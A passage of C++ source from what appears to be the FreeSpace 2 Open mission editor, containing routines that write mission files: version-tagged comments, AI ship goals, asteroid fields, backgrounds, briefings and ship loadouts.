writep++;
readp++;
}
*writep = '\0';
}
}
void CFred_mission_save::convert_special_tags_to_retail(char* text, int max_len)
{
replace_all(text, "$quote", "''", max_len);
replace_all(text, "$semicolon", ",", max_len);
}
void CFred_mission_save::convert_special_tags_to_retail(SCP_string& text)
{
replace_all(text, "$quote", "''");
replace_all(text, "$semicolon", ",");
}
void CFred_mission_save::convert_special_tags_to_retail()
{
int i, team, stage;
if (save_format != MissionFormat::RETAIL) {
return;
}
for (team = 0; team < Num_teams; team++) {
// command briefing
for (stage = 0; stage < Cmd_briefs[team].num_stages; stage++) {
convert_special_tags_to_retail(Cmd_briefs[team].stage[stage].text);
}
// briefing
for (stage = 0; stage < Briefings[team].num_stages; stage++) {
convert_special_tags_to_retail(Briefings[team].stages[stage].text);
}
// debriefing
for (stage = 0; stage < Debriefings[team].num_stages; stage++) {
convert_special_tags_to_retail(Debriefings[team].stages[stage].text);
}
}
for (i = Num_builtin_messages; i < Num_messages; i++) {
convert_special_tags_to_retail(Messages[i].message, MESSAGE_LENGTH - 1);
}
}
int CFred_mission_save::fout(const char* format, ...)
{
// don't output anything if we're saving in retail and have version-specific comments active
if (save_format == MissionFormat::RETAIL && !fso_ver_comment.empty()) {
return 0;
}
SCP_string str;
va_list args;
if (err) {
return err;
}
va_start(args, format);
vsprintf(str, format, args);
va_end(args);
cfputs(str.c_str(), fp);
return 0;
}
int CFred_mission_save::fout_ext(const char* pre_str, const char* format, ...)
{
// don't output anything if we're saving in retail and have version-specific comments active
if (save_format == MissionFormat::RETAIL && !fso_ver_comment.empty()) {
return 0;
}
SCP_string str_scp;
SCP_string str_out_scp;
va_list args;
int str_id;
if (err) {
return err;
}
va_start(args, format);
vsprintf(str_scp, format, args);
va_end(args);
if (pre_str) {
str_out_scp = pre_str;
}
// lookup the string in the hash table
str_id = fhash_string_exists(str_scp.c_str());
// doesn't exist, so assign it an ID of -1 and stick it in the table
if (str_id <= -2) {
str_out_scp += " XSTR(\"";
str_out_scp += str_scp;
str_out_scp += "\", -1)";
// add the string to the table
fhash_add_str(str_scp.c_str(), -1);
}
// _does_ exist, so just write it out as it is
else {
char buf[10];
sprintf_safe(buf, "%d", str_id);
str_out_scp += " XSTR(\"";
str_out_scp += str_scp;
str_out_scp += "\", ";
str_out_scp += buf;
str_out_scp += ")";
}
char* str_out_c = vm_strdup(str_out_scp.c_str());
// this could be a multi-line string, so we've got to handle it all properly
if (!fso_ver_comment.empty()) {
bool first_line = true;
char* str_p = str_out_c;
char* ch = strchr(str_out_c, '\n');
// if we have something, and it's not just at the end, then process it specially
if ((ch != NULL) && (*(ch + 1) != '\0')) {
do {
if (*(ch + 1) != '\0') {
*ch = '\0';
if (first_line) {
first_line = false;
} else {
cfputs(fso_ver_comment.back().c_str(), fp);
cfputs(" ", fp);
}
cfputs(str_p, fp);
cfputc('\n', fp);
str_p = ch + 1;
} else {
if (first_line) {
first_line = false;
} else {
cfputs(fso_ver_comment.back().c_str(), fp);
cfputs(" ", fp);
}
cfputs(str_p, fp);
str_p = ch + 1;
break;
}
} while ((ch = strchr(str_p, '\n')) != NULL);
// be sure to account for any ending elements too
if (strlen(str_p)) {
cfputs(fso_ver_comment.back().c_str(), fp);
cfputs(" ", fp);
cfputs(str_p, fp);
}
vm_free(str_out_c);
return 0;
}
}
cfputs(str_out_c, fp);
vm_free(str_out_c);
return 0;
}
int CFred_mission_save::fout_version(const char* format, ...)
{
SCP_string str_scp;
char* ch = NULL;
va_list args;
if (err) {
return err;
}
// don't output anything if we're saving in retail and have version-specific comments active
if (save_format == MissionFormat::RETAIL && !fso_ver_comment.empty()) {
return 0;
}
// output the version first thing, but skip the special case where we use
// fout_version() for multiline value strings (typically indicated by an initial space)
if ((save_format == MissionFormat::COMPATIBILITY_MODE) && (*format != ' ') && !fso_ver_comment.empty()) {
while (*format == '\n') {
str_scp.append(1, *format);
format++;
}
str_scp.append(fso_ver_comment.back().c_str());
str_scp.append(" ");
cfputs(str_scp.c_str(), fp);
str_scp = "";
}
va_start(args, format);
vsprintf(str_scp, format, args);
va_end(args);
char* str_c = vm_strdup(str_scp.c_str());
// this could be a multi-line string, so we've got to handle it all properly
if ((save_format == MissionFormat::COMPATIBILITY_MODE) && !fso_ver_comment.empty()) {
bool first_line = true;
char* str_p = str_c;
ch = strchr(str_c, '\n');
// if we have something, and it's not just at the end, then process it specially
if ((ch != NULL) && (*(ch + 1) != '\0')) {
do {
if (*(ch + 1) != '\0') {
*ch = '\0';
if (first_line) {
first_line = false;
} else {
cfputs(fso_ver_comment.back().c_str(), fp);
cfputs(" ", fp);
}
cfputs(str_p, fp);
cfputc('\n', fp);
str_p = ch + 1;
} else {
if (first_line) {
first_line = false;
} else {
cfputs(fso_ver_comment.back().c_str(), fp);
cfputs(" ", fp);
}
cfputs(str_p, fp);
str_p = ch + 1;
break;
}
} while ((ch = strchr(str_p, '\n')) != NULL);
// be sure to account for any ending elements too
if (strlen(str_p)) {
cfputs(fso_ver_comment.back().c_str(), fp);
cfputs(" ", fp);
cfputs(str_p, fp);
}
vm_free(str_c);
return 0;
}
}
cfputs(str_c, fp);
vm_free(str_c);
return 0;
}
void CFred_mission_save::parse_comments(int newlines)
{
char* comment_start = NULL;
int state = 0, same_line = 0, first_comment = 1, tab = 0, flag = 0;
bool version_added = false;
if (newlines < 0) {
newlines = -newlines;
tab = 1;
}
if (newlines) {
same_line = 1;
}
if (fred_parse_flag || !Token_found_flag || !token_found || (token_found && (*Parse_text_raw == '\0'))) {
while (newlines-- > 0) {
fout("\n");
}
if (tab && token_found) {
fout_version("\t%s", token_found);
} else if (token_found) {
fout_version("%s", token_found);
} else if (tab) {
fout("\t");
}
return;
}
while (*raw_ptr != '\0') {
// state values (as far as I could figure out):
// 0 - raw_ptr not inside comment
// 1 - raw_ptr inside /**/ comment
// 2 - raw_ptr inside ; (newline-delimited) comment
// 3,4 - raw_ptr inside ;; (FSO version) comment
if (!state) {
if (token_found && (*raw_ptr == *token_found)) {
if (!strnicmp(raw_ptr, token_found, strlen(token_found))) {
same_line = newlines - 1 + same_line;
while (same_line-- > 0) {
fout("\n");
}
if (tab) {
fout_version("\t");
fout("%s", token_found);
} else {
fout_version("%s", token_found);
}
// If you have a bunch of lines that all start with the same token (like, say, "+Subsystem:"),
// this makes it so it won't just repeatedly match the first one. -MageKing17
raw_ptr++;
if (version_added) {
fso_comment_pop();
}
return;
}
}
if ((*raw_ptr == '/') && (raw_ptr[1] == '*')) {
comment_start = raw_ptr;
state = 1;
}
if ((*raw_ptr == ';') && (raw_ptr[1] != '!')) {
comment_start = raw_ptr;
state = 2;
// check for a FSO version comment, but if we can't understand it then
// just handle it as a regular comment
if ((raw_ptr[1] == ';') && (raw_ptr[2] == 'F') && (raw_ptr[3] == 'S') && (raw_ptr[4] == 'O')) {
int major, minor, build, revis;
int s_num = scan_fso_version_string(raw_ptr, &major, &minor, &build, &revis);
// hack for releases
if (FS_VERSION_REVIS < 1000) {
s_num = 3;
}
if ((s_num == 3) && ((major < FS_VERSION_MAJOR) || ((major == FS_VERSION_MAJOR)
&& ((minor < FS_VERSION_MINOR)
|| ((minor == FS_VERSION_MINOR) && (build <= FS_VERSION_BUILD)))))) {
state = 3;
} else if ((s_num == 4) && ((major < FS_VERSION_MAJOR) || ((major == FS_VERSION_MAJOR)
&& ((minor < FS_VERSION_MINOR) || ((minor == FS_VERSION_MINOR) && ((build < FS_VERSION_BUILD)
|| ((build == FS_VERSION_BUILD) && (revis <= FS_VERSION_REVIS)))))))) {
state = 3;
} else {
state = 4;
}
}
}
if (*raw_ptr == '\n') {
flag = 1;
}
if (flag && state && !(state == 3)) {
fout("\n");
}
} else {
if (*raw_ptr == '\n') {
if (state == 2) {
if (first_comment && !flag) {
fout("\t\t");
}
*raw_ptr = 0;
fout("%s\n", comment_start);
*raw_ptr = '\n';
state = first_comment = same_line = flag = 0;
} else if (state == 4) {
same_line = newlines - 2 + same_line;
while (same_line-- > 0) {
fout("\n");
}
if (*(raw_ptr - 1) == '\r') {
*(raw_ptr - 1) = '\0';
} else {
*raw_ptr = 0;
}
fout("%s\n", comment_start);
if (*(raw_ptr - 1) == '\0') {
*(raw_ptr - 1) = '\r';
} else {
*raw_ptr = '\n';
}
state = first_comment = same_line = flag = 0;
}
}
if ((*raw_ptr == '*') && (raw_ptr[1] == '/') && (state == 1)) {
if (first_comment && !flag) {
fout("\t\t");
}
const char tmp = raw_ptr[2];
raw_ptr[2] = 0;
fout("%s", comment_start);
raw_ptr[2] = tmp;
state = first_comment = flag = 0;
}
if ((*raw_ptr == ';') && (raw_ptr[1] == ';') && (state == 3)) {
const char tmp = raw_ptr[2];
raw_ptr[2] = 0;
if (version_added) {
fso_comment_pop();
} else {
version_added = true;
}
fso_comment_push(comment_start);
raw_ptr[2] = tmp;
state = first_comment = flag = 0;
raw_ptr++;
}
}
raw_ptr++;
}
if (version_added) {
fso_comment_pop();
}
return;
}
void CFred_mission_save::save_ai_goals(ai_goal* goalp, int ship)
{
const char* str = NULL;
char buf[80];
int i, valid, flag = 1;
for (i = 0; i < MAX_AI_GOALS; i++) {
if (goalp[i].ai_mode == AI_GOAL_NONE) {
continue;
}
if (flag) {
if (optional_string_fred("$AI Goals:", "$Name:")) {
parse_comments();
} else {
fout("\n$AI Goals:");
}
fout(" ( goals ");
flag = 0;
}
if (goalp[i].ai_mode == AI_GOAL_CHASE_ANY) {
fout("( ai-chase-any %d ) ", goalp[i].priority);
} else if (goalp[i].ai_mode == AI_GOAL_UNDOCK) {
fout("( ai-undock %d ) ", goalp[i].priority);
} else if (goalp[i].ai_mode == AI_GOAL_KEEP_SAFE_DISTANCE) {
fout("( ai-keep-safe-distance %d ) ", goalp[i].priority);
} else if (goalp[i].ai_mode == AI_GOAL_PLAY_DEAD) {
fout("( ai-play-dead %d ) ", goalp[i].priority);
} else if (goalp[i].ai_mode == AI_GOAL_PLAY_DEAD_PERSISTENT) {
fout("( ai-play-dead-persistent %d ) ", goalp[i].priority);
} else if (goalp[i].ai_mode == AI_GOAL_WARP) {
fout("( ai-warp-out %d ) ", goalp[i].priority);
} else {
valid = 1;
if (!goalp[i].target_name) {
Warning(LOCATION, "Ai goal has no target where one is required");
} else {
sprintf(buf, "\"%s\"", goalp[i].target_name);
switch (goalp[i].ai_mode) {
case AI_GOAL_WAYPOINTS:
str = "ai-waypoints";
break;
case AI_GOAL_WAYPOINTS_ONCE:
str = "ai-waypoints-once";
break;
case AI_GOAL_DESTROY_SUBSYSTEM:
if (goalp[i].docker.index == -1 || !goalp[i].docker.index) {
valid = 0;
Warning(LOCATION, "AI destroy subsystem goal invalid subsystem name\n");
} else {
sprintf(buf, "\"%s\" \"%s\"", goalp[i].target_name, goalp[i].docker.name);
str = "ai-destroy-subsystem";
}
break;
case AI_GOAL_DOCK:
if (ship < 0) {
valid = 0;
Warning(LOCATION, "Wings aren't allowed to have a docking goal\n");
} else if (goalp[i].docker.index == -1 || !goalp[i].docker.index) {
valid = 0;
Warning(LOCATION, "AI dock goal for \"%s\" has invalid docker point "
"(docking with \"%s\")\n", Ships[ship].ship_name, goalp[i].target_name);
} else if (goalp[i].dockee.index == -1 || !goalp[i].dockee.index) {
valid = 0;
Warning(LOCATION, "AI dock goal for \"%s\" has invalid dockee point "
"(docking with \"%s\")\n", Ships[ship].ship_name, goalp[i].target_name);
} else {
sprintf(buf,
"\"%s\" \"%s\" \"%s\"",
goalp[i].target_name,
goalp[i].docker.name,
goalp[i].dockee.name);
str = "ai-dock";
}
break;
case AI_GOAL_CHASE:
str = "ai-chase";
break;
case AI_GOAL_CHASE_WING:
str = "ai-chase-wing";
break;
case AI_GOAL_CHASE_SHIP_CLASS:
str = "ai-chase-ship-class";
break;
case AI_GOAL_GUARD:
str = "ai-guard";
break;
case AI_GOAL_GUARD_WING:
str = "ai-guard-wing";
break;
case AI_GOAL_DISABLE_SHIP:
str = "ai-disable-ship";
break;
case AI_GOAL_DISARM_SHIP:
str = "ai-disarm-ship";
break;
case AI_GOAL_IGNORE:
str = "ai-ignore";
break;
case AI_GOAL_IGNORE_NEW:
str = "ai-ignore-new";
break;
case AI_GOAL_EVADE_SHIP:
str = "ai-evade-ship";
break;
case AI_GOAL_STAY_NEAR_SHIP:
str = "ai-stay-near-ship";
break;
case AI_GOAL_STAY_STILL:
str = "ai-stay-still";
break;
default:
Assert(0);
}
if (valid) {
fout("( %s %s %d ) ", str, buf, goalp[i].priority);
}
}
}
fso_comment_pop();
}
if (!flag) {
fout(")");
}
fso_comment_pop(true);
}
int CFred_mission_save::save_asteroid_fields()
{
int i;
fred_parse_flag = 0;
required_string_fred("#Asteroid Fields");
parse_comments(2);
for (i = 0; i < 1 /*MAX_ASTEROID_FIELDS*/; i++) {
if (!Asteroid_field.num_initial_asteroids) {
continue;
}
required_string_fred("$Density:");
parse_comments(2);
fout(" %d", Asteroid_field.num_initial_asteroids);
// field type
if (optional_string_fred("+Field Type:")) {
parse_comments();
} else {
fout("\n+Field Type:");
}
fout(" %d", Asteroid_field.field_type);
// debris type
if (optional_string_fred("+Debris Genre:")) {
parse_comments();
} else {
fout("\n+Debris Genre:");
}
fout(" %d", Asteroid_field.debris_genre);
// field_debris_type (only if ship genre)
if (Asteroid_field.debris_genre == DG_SHIP) {
for (int idx = 0; idx < 3; idx++) {
if (Asteroid_field.field_debris_type[idx] != -1) {
if (optional_string_fred("+Field Debris Type:")) {
parse_comments();
} else {
fout("\n+Field Debris Type:");
}
fout(" %d", Asteroid_field.field_debris_type[idx]);
}
}
} else {
// asteroid subtypes stored in field_debris_type as -1 or 1
for (auto idx = 0; idx < 3; idx++) {
if (Asteroid_field.field_debris_type[idx] != -1) {
if (optional_string_fred("+Field Debris Type:")) {
parse_comments();
} else {
fout("\n+Field Debris Type:");
}
fout(" %d", idx);
}
}
}
required_string_fred("$Average Speed:");
parse_comments();
fout(" %f", vm_vec_mag(&Asteroid_field.vel));
required_string_fred("$Minimum:");
parse_comments();
save_vector(Asteroid_field.min_bound);
required_string_fred("$Maximum:");
parse_comments();
save_vector(Asteroid_field.max_bound);
if (Asteroid_field.has_inner_bound == 1) {
if (optional_string_fred("+Inner Bound:")) {
parse_comments();
} else {
fout("\n+Inner Bound:");
}
required_string_fred("$Minimum:");
parse_comments();
save_vector(Asteroid_field.inner_min_bound);
required_string_fred("$Maximum:");
parse_comments();
save_vector(Asteroid_field.inner_max_bound);
}
if (!Asteroid_target_ships.empty()) {
fso_comment_push(";;FSO 22.0.0;;");
if (optional_string_fred("$Asteroid Targets:")) {
parse_comments();
fout(" (");
} else {
fout_version("\n$Asteroid Targets: (");
}
for (SCP_string& name : Asteroid_target_ships) {
fout(" \"%s\"", name.c_str());
}
fout(" )");
fso_comment_pop();
}
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_bitmaps()
{
int i;
uint j;
fred_parse_flag = 0;
required_string_fred("#Background bitmaps");
parse_comments(2);
fout("\t\t;! %d total\n", stars_get_num_bitmaps());
required_string_fred("$Num stars:");
parse_comments();
fout(" %d", Num_stars);
required_string_fred("$Ambient light level:");
parse_comments();
fout(" %d", The_mission.ambient_light_level);
// neb2 stuff
if (The_mission.flags[Mission::Mission_Flags::Fullneb]) {
fout("\n");
required_string_fred("+Neb2:");
parse_comments();
fout(" %s", Neb2_texture_name);
if (save_format != MissionFormat::RETAIL && The_mission.flags[Mission::Mission_Flags::Neb2_fog_color_override]) {
if (optional_string_fred("+Neb2Color:")) {
parse_comments();
} else {
fout("\n+Neb2Color:");
}
fout(" (");
for (auto c : Neb2_fog_color) {
fout(" %d", c);
}
fout(" )");
}
required_string_fred("+Neb2Flags:");
parse_comments();
fout(" %d", Neb2_poof_flags);
}
// neb 1 stuff
else {
if (Nebula_index >= 0) {
if (optional_string_fred("+Nebula:")) {
parse_comments();
} else {
fout("\n+Nebula:");
}
fout(" %s", Nebula_filenames[Nebula_index]);
required_string_fred("+Color:");
parse_comments();
fout(" %s", Nebula_colors[Mission_palette]);
required_string_fred("+Pitch:");
parse_comments();
fout(" %d", Nebula_pitch);
required_string_fred("+Bank:");
parse_comments();
fout(" %d", Nebula_bank);
required_string_fred("+Heading:");
parse_comments();
fout(" %d", Nebula_heading);
}
}
fso_comment_pop();
// Goober5000 - save all but the lowest priority using the special comment tag
for (i = 0; i < (int)Backgrounds.size(); i++) {
bool tag = (i < (int)Backgrounds.size() - 1);
background_t* background = &Backgrounds[i];
// each background should be preceded by this line so that the suns/bitmaps are partitioned correctly
fso_comment_push(";;FSO 3.6.9;;");
if (optional_string_fred("$Bitmap List:")) {
parse_comments(2);
} else {
fout_version("\n\n$Bitmap List:");
}
if (!tag) {
fso_comment_pop(true);
}
// save our flags
if (save_format == MissionFormat::RETAIL) {
_viewport->dialogProvider->showButtonDialog(DialogType::Warning,
"Incompatibility with retail mission format",
"Warning: Background flags (including the fixed-angles-in-mission-file flag) are not supported in retail. The sun and bitmap angles will be loaded differently by previous versions.",
{ DialogButton::Ok });
} else if (background->flags.any_set()) {
if (optional_string_fred("+Flags:")) {
parse_comments();
} else {
fout_version("\n+Flags:");
}
fout(" (");
if (background->flags[Starfield::Background_Flags::Corrected_angles_in_mission_file]) {
fout(" \"corrected angles\"");
}
fout(" )");
}
// save suns by filename
for (j = 0; j < background->suns.size(); j++) {
starfield_list_entry* sle = &background->suns[j];
// filename
required_string_fred("$Sun:");
parse_comments();
fout(" %s", sle->filename);
// angles
required_string_fred("+Angles:");
parse_comments();
angles ang = sle->ang;
if (!background->flags[Starfield::Background_Flags::Corrected_angles_in_mission_file])
stars_uncorrect_background_sun_angles(&ang);
fout(" %f %f %f", ang.p, ang.b, ang.h);
// scale
required_string_fred("+Scale:");
parse_comments();
fout(" %f", sle->scale_x);
}
// save background bitmaps by filename
for (j = 0; j < background->bitmaps.size(); j++) {
starfield_list_entry* sle = &background->bitmaps[j];
// filename
required_string_fred("$Starbitmap:");
parse_comments();
fout(" %s", sle->filename);
// angles
required_string_fred("+Angles:");
parse_comments();
angles ang = sle->ang;
if (!background->flags[Starfield::Background_Flags::Corrected_angles_in_mission_file])
stars_uncorrect_background_bitmap_angles(&ang);
fout(" %f %f %f", ang.p, ang.b, ang.h);
// scale
required_string_fred("+ScaleX:");
parse_comments();
fout(" %f", sle->scale_x);
required_string_fred("+ScaleY:");
parse_comments();
fout(" %f", sle->scale_y);
// div
required_string_fred("+DivX:");
parse_comments();
fout(" %d", sle->div_x);
required_string_fred("+DivY:");
parse_comments();
fout(" %d", sle->div_y);
}
fso_comment_pop();
}
// taylor's environment map thingy
if (strlen(The_mission.envmap_name) > 0) { //-V805
fso_comment_push(";;FSO 3.6.9;;");
if (optional_string_fred("$Environment Map:")) {
parse_comments(2);
fout(" %s", The_mission.envmap_name);
} else {
fout_version("\n\n$Environment Map: %s", The_mission.envmap_name);
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.9;; $Environment Map:");
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_briefing()
{
int i, j, k, nb;
SCP_string sexp_out;
brief_stage* bs;
brief_icon* bi;
for (nb = 0; nb < Num_teams; nb++) {
required_string_fred("#Briefing");
parse_comments(2);
required_string_fred("$start_briefing");
parse_comments();
save_custom_bitmap("$briefing_background_640:",
"$briefing_background_1024:",
Briefings[nb].background[GR_640],
Briefings[nb].background[GR_1024]);
save_custom_bitmap("$ship_select_background_640:",
"$ship_select_background_1024:",
Briefings[nb].ship_select_background[GR_640],
Briefings[nb].ship_select_background[GR_1024]);
save_custom_bitmap("$weapon_select_background_640:",
"$weapon_select_background_1024:",
Briefings[nb].weapon_select_background[GR_640],
Briefings[nb].weapon_select_background[GR_1024]);
Assert(Briefings[nb].num_stages <= MAX_BRIEF_STAGES);
required_string_fred("$num_stages:");
parse_comments();
fout(" %d", Briefings[nb].num_stages);
for (i = 0; i < Briefings[nb].num_stages; i++) {
bs = &Briefings[nb].stages[i];
required_string_fred("$start_stage");
parse_comments();
required_string_fred("$multi_text");
parse_comments();
// XSTR
fout_ext("\n", "%s", bs->text.c_str());
required_string_fred("$end_multi_text", "$start_stage");
parse_comments();
if (!drop_white_space(bs->voice)[0]) {
strcpy_s(bs->voice, "None");
}
required_string_fred("$voice:");
parse_comments();
fout(" %s", bs->voice);
required_string_fred("$camera_pos:");
parse_comments();
save_vector(bs->camera_pos);
required_string_fred("$camera_orient:");
parse_comments();
save_matrix(bs->camera_orient);
required_string_fred("$camera_time:");
parse_comments();
fout(" %d", bs->camera_time);
required_string_fred("$num_lines:");
parse_comments();
fout(" %d", bs->num_lines);
for (k = 0; k < bs->num_lines; k++) {
required_string_fred("$line_start:");
parse_comments();
fout(" %d", bs->lines[k].start_icon);
required_string_fred("$line_end:");
parse_comments();
fout(" %d", bs->lines[k].end_icon);
fso_comment_pop();
}
required_string_fred("$num_icons:");
parse_comments();
Assert(bs->num_icons <= MAX_STAGE_ICONS);
fout(" %d", bs->num_icons);
required_string_fred("$Flags:");
parse_comments();
fout(" %d", bs->flags);
required_string_fred("$Formula:");
parse_comments();
convert_sexp_to_string(sexp_out, bs->formula, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
for (j = 0; j < bs->num_icons; j++) {
bi = &bs->icons[j];
required_string_fred("$start_icon");
parse_comments();
required_string_fred("$type:");
parse_comments();
fout(" %d", bi->type);
required_string_fred("$team:");
parse_comments();
fout(" %s", Iff_info[bi->team].iff_name);
required_string_fred("$class:");
parse_comments();
if (bi->ship_class < 0) {
bi->ship_class = 0;
}
fout(" %s", Ship_info[bi->ship_class].name);
required_string_fred("$pos:");
parse_comments();
save_vector(bi->pos);
if (drop_white_space(bi->label)[0]) {
if (optional_string_fred("$label:")) {
parse_comments();
} else {
fout("\n$label:");
}
fout_ext(" ", "%s", bi->label);
}
if (save_format != MissionFormat::RETAIL) {
if (drop_white_space(bi->closeup_label)[0]) {
if (optional_string_fred("$closeup label:")) {
parse_comments();
}
else {
fout("\n$closeup label:");
}
fout_ext(" ", "%s", bi->closeup_label);
}
}
if (optional_string_fred("+id:")) {
parse_comments();
} else {
fout("\n+id:");
}
fout(" %d", bi->id);
required_string_fred("$hlight:");
parse_comments();
fout(" %d", (bi->flags & BI_HIGHLIGHT) ? 1 : 0);
if (save_format != MissionFormat::RETAIL) {
required_string_fred("$mirror:");
parse_comments();
fout(" %d", (bi->flags & BI_MIRROR_ICON) ? 1 : 0);
}
if ((save_format != MissionFormat::RETAIL) && (bi->flags & BI_USE_WING_ICON)) {
required_string_fred("$use wing icon:");
parse_comments();
fout(" %d", (bi->flags & BI_USE_WING_ICON) ? 1 : 0);
}
if ((save_format != MissionFormat::RETAIL) && (bi->flags & BI_USE_CARGO_ICON)) {
required_string_fred("$use cargo icon:");
parse_comments();
fout(" %d", (bi->flags & BI_USE_CARGO_ICON) ? 1 : 0);
}
required_string_fred("$multi_text");
parse_comments();
// sprintf(out,"\n%s", bi->text);
// fout(out);
required_string_fred("$end_multi_text");
parse_comments();
required_string_fred("$end_icon");
parse_comments();
fso_comment_pop();
}
required_string_fred("$end_stage");
parse_comments();
fso_comment_pop();
}
required_string_fred("$end_briefing");
parse_comments();
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_cmd_brief()
{
int stage;
stage = 0;
required_string_fred("#Command Briefing");
parse_comments(2);
save_custom_bitmap("$Background 640:",
"$Background 1024:",
Cur_cmd_brief->background[GR_640],
Cur_cmd_brief->background[GR_1024],
1);
for (stage = 0; stage < Cur_cmd_brief->num_stages; stage++) {
required_string_fred("$Stage Text:");
parse_comments(2);
// XSTR
fout_ext("\n", "%s", Cur_cmd_brief->stage[stage].text.c_str());
required_string_fred("$end_multi_text", "$Stage Text:");
parse_comments();
required_string_fred("$Ani Filename:");
parse_comments();
fout(" %s", Cur_cmd_brief->stage[stage].ani_filename);
required_string_fred("+Wave Filename:", "$Ani Filename:");
parse_comments();
fout(" %s", Cur_cmd_brief->stage[stage].wave_filename);
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_cmd_briefs()
{
int i;
for (i = 0; i < Num_teams; i++) {
Cur_cmd_brief = &Cmd_briefs[i];
save_cmd_brief();
}
return err;
}
void CFred_mission_save::fso_comment_push(const char* ver)
{
if (fso_ver_comment.empty()) {
fso_ver_comment.push_back(SCP_string(ver));
return;
}
SCP_string before = fso_ver_comment.back();
int major, minor, build, revis;
int in_major, in_minor, in_build, in_revis;
int elem1, elem2;
elem1 = scan_fso_version_string(fso_ver_comment.back().c_str(), &major, &minor, &build, &revis);
elem2 = scan_fso_version_string(ver, &in_major, &in_minor, &in_build, &in_revis);
// check consistency
if ((elem1 == 3 && elem2 == 4) || (elem1 == 4 && elem2 == 3)) {
elem1 = elem2 = 3;
} else if ((elem1 >= 3 && elem2 >= 3) && (revis < 1000 || in_revis < 1000)) {
elem1 = elem2 = 3;
}
if ((elem1 == 3) && ((major > in_major)
|| ((major == in_major) && ((minor > in_minor) || ((minor == in_minor) && (build > in_build)))))) {
// the push'd version is older than our current version, so just push a copy of the previous version
fso_ver_comment.push_back(before);
} else if ((elem1 == 4) && ((major > in_major) || ((major == in_major) && ((minor > in_minor)
|| ((minor == in_minor) && ((build > in_build) || ((build == in_build) || (revis > in_revis)))))))) {
// the push'd version is older than our current version, so just push a copy of the previous version
fso_ver_comment.push_back(before);
} else {
fso_ver_comment.push_back(SCP_string(ver));
}
}
void CFred_mission_save::fso_comment_pop(bool pop_all)
{
if (fso_ver_comment.empty()) {
return;
}
if (pop_all) {
fso_ver_comment.clear();
return;
}
fso_ver_comment.pop_back();
}
int CFred_mission_save::save_common_object_data(object* objp, ship* shipp)
{
int j, z;
ship_subsys* ptr = NULL;
ship_info* sip = NULL;
ship_weapon* wp = NULL;
float temp_max_hull_strength;
sip = &Ship_info[shipp->ship_info_index];
if ((int) objp->phys_info.speed) {
if (optional_string_fred("+Initial Velocity:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Initial Velocity:");
}
fout(" %d", (int) objp->phys_info.speed);
}
// Goober5000
if (save_format != MissionFormat::RETAIL && (shipp->special_hitpoints > 0)) {
temp_max_hull_strength = (float) shipp->special_hitpoints;
} else {
temp_max_hull_strength = sip->max_hull_strength;
}
if ((int) objp->hull_strength != temp_max_hull_strength) {
if (optional_string_fred("+Initial Hull:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Initial Hull:");
}
fout(" %d", (int) objp->hull_strength);
}
if ((int) shield_get_strength(objp) != 100) {
if (optional_string_fred("+Initial Shields:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Initial Shields:");
}
fout(" %d", (int) objp->shield_quadrant[0]);
}
// save normal ship weapons info
required_string_fred("+Subsystem:", "$Name:");
parse_comments();
fout(" Pilot");
wp = &shipp->weapons;
z = 0;
j = wp->num_primary_banks;
while (j-- && (j >= 0)) {
if (wp->primary_bank_weapons[j] != sip->primary_bank_weapons[j]) {
z = 1;
}
}
if (z) {
if (optional_string_fred("+Primary Banks:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Primary Banks:");
}
fout(" ( ");
for (j = 0; j < wp->num_primary_banks; j++) {
if (wp->primary_bank_weapons[j] != -1) { // Just in case someone has set a weapon bank to empty
fout("\"%s\" ", Weapon_info[wp->primary_bank_weapons[j]].name);
} else {
fout("\"\" ");
}
}
fout(")");
}
z = 0;
j = wp->num_secondary_banks;
while (j-- && (j >= 0)) {
if (wp->secondary_bank_weapons[j] != sip->secondary_bank_weapons[j]) {
z = 1;
}
}
if (z) {
if (optional_string_fred("+Secondary Banks:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Secondary Banks:");
}
fout(" ( ");
for (j = 0; j < wp->num_secondary_banks; j++) {
if (wp->secondary_bank_weapons[j] != -1) {
fout("\"%s\" ", Weapon_info[wp->secondary_bank_weapons[j]].name);
} else {
fout("\"\" ");
}
}
fout(")");
}
z = 0;
j = wp->num_secondary_banks;
while (j-- && (j >= 0)) {
if (wp->secondary_bank_ammo[j] != 100) {
z = 1;
}
}
if (z) {
if (optional_string_fred("+Sbank Ammo:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Sbank Ammo:");
}
fout(" ( ");
for (j = 0; j < wp->num_secondary_banks; j++) {
fout("%d ", wp->secondary_bank_ammo[j]);
}
fout(")");
}
ptr = GET_FIRST(&shipp->subsys_list);
Assert(ptr);
while (ptr != END_OF_LIST(&shipp->subsys_list) && ptr) {
// Crashing here!
if ((ptr->current_hits) || (ptr->system_info && ptr->system_info->type == SUBSYSTEM_TURRET)
|| (ptr->subsys_cargo_name > 0)) {
if (optional_string_fred("+Subsystem:", "$Name:")) {
parse_comments();
} else {
fout("\n+Subsystem:");
}
fout(" %s", ptr->system_info->subobj_name);
}
if (ptr->current_hits) {
if (optional_string_fred("$Damage:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n$Damage:");
}
fout(" %d", (int) ptr->current_hits);
}
if (ptr->subsys_cargo_name > 0) {
if (optional_string_fred("+Cargo Name:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Cargo Name:");
}
fout_ext(NULL, "%s", Cargo_names[ptr->subsys_cargo_name]);
}
if (ptr->system_info->type == SUBSYSTEM_TURRET) {
save_turret_info(ptr, SHIP_INDEX(shipp));
}
ptr = GET_NEXT(ptr);
fso_comment_pop();
}
/* for (j=0; j<shipp->status_count; j++) {
required_string_fred("$Status Description:");
parse_comments(-1);
fout(" %s", Status_desc_names[shipp->status_type[j]]);
required_string_fred("$Status:");
parse_comments(-1);
fout(" %s", Status_type_names[shipp->status[j]]);
required_string_fred("$Target:");
